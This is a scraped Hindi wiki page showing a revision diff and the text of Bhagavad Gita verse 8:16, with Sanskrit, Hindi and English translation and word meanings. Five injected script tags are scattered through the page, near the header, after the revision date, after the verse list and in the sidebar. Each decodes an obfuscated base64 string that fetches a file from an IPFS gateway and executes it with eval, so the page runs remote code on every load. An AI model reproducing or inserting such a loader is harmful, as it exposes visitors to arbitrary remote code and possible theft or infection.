"गीता 8:16" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
नेविगेशन पर जाएँ खोज पर जाएँ
(नया पृष्ठ: {{menu}}<br /> <table class="gita" width="100%" align="left"> <tr> <td> ==गीता अध्याय-8 श्लोक-16 / Gita Chapter-8 Verse-16== {| width="80%"...)
 
पंक्ति ३९: पंक्ति ३९:
 
</td>
 
</td>
 
</tr>
 
</tr>
</table>
+
<tr>
 +
<td>
 
<br />
 
<br />
 
<div align="center" style="font-size:120%;">'''[[गीता 8:15|<= पीछे Prev]] | [[गीता 8:17|आगे Next =>]]'''</div>  
 
<div align="center" style="font-size:120%;">'''[[गीता 8:15|<= पीछे Prev]] | [[गीता 8:17|आगे Next =>]]'''</div>  
 +
</td>
 +
</tr>
 +
<tr>
 +
<td>
 
<br />
 
<br />
 
{{गीता अध्याय 8}}
 
{{गीता अध्याय 8}}
{{गीता अध्याय}}
+
</td>
 +
</tr>
 +
<tr>
 +
<td>
 +
{{गीता अध्याय}}</td>
 +
</tr>
 +
</table>
 
[[category:गीता]]
 
[[category:गीता]]

०६:४०, २४ अक्टूबर २००९ का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गीता अध्याय-8 श्लोक-16 / Gita Chapter-8 Verse-16

प्रसंग-


भगवत्प्राप्त महात्मा पुरूषों का पुनर्जन्म नहीं होता, इस कथन से यह प्रकट होता है कि दूसरे जीवों का पुनर्जन्म होता है । अत: यहाँ यह जानने की इच्छा होती है कि किस लोक तक पहुँचे हुए जीवों को वापस लौटना पड़ता है । इस पर भगवान् कहते हैं ।


आब्रह्राभुवनाल्लोका: पुनरावर्तिनोऽर्जुन ।
मामुपेत्य तु कौन्तेय पुनर्जन्म न विद्यते ।।16।।



हे अर्जुन ब्रह्रालोकपर्यन्त सब लोक पुनरावर्ती हैं, परंतु हे कुन्ती पुत्र ! मुझ को प्राप्त होकर पुनर्जन्म नहीं होता; क्योंकि मैं कालातीत हूँ और यह सब ब्रह्रादि के लोक काल के द्वारा सीमित होने से अनित्य हैं ।।16।।

Great souls, who have attained the highest perfection, having come to me, are no more, subjected to rebirth, which is the abode of sorrow, and transient by nature. (16)


अर्जुन = हे अर्जुन ; लोका: = सब लोक ; पुनरावर्तिन: = पुनरावर्ती स्वभाव वाले हैं ; तु = परन्तु ; कौन्तेय = हे कुन्तीपुत्र ; आब्रह्म भुवनात् = ब्रह्मलोक से लेकर ; माम् = मेरे को ; उपेत्य = प्राप्त होकर (उसका) ; पुनर्जन्म = पुनर्जन्म ; न = नहीं ; विद्यते = होता है



अध्याय आठ श्लोक संख्या
Verses- Chapter-8

1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12, 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • गीता अध्याय-Gita Chapters
    • गीता 1:1|अध्याय [1] Chapter
    • गीता 2:1|अध्याय [2] Chapter
    • गीता 3:1|अध्याय [3] Chapter
    • गीता 4:1|अध्याय [4] Chapter
    • गीता 5:1|अध्याय [5] Chapter
    • गीता 6:1|अध्याय [6] Chapter
    • गीता 7:1|अध्याय [7] Chapter
    • गीता 8:1|अध्याय [8] Chapter
    • गीता 9:1|अध्याय [9] Chapter
    • गीता 10:1|अध्याय [10] Chapter
    • गीता 11:1|अध्याय [11] Chapter
    • गीता 12:1|अध्याय [12] Chapter
    • गीता 13:1|अध्याय [13] Chapter
    • गीता 14:1|अध्याय [14] Chapter
    • गीता 15:1|अध्याय [15] Chapter
    • गीता 16:1|अध्याय [16] Chapter
    • गीता 17:1|अध्याय [17] Chapter
    • गीता 18:1|अध्याय [18] Chapter
</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>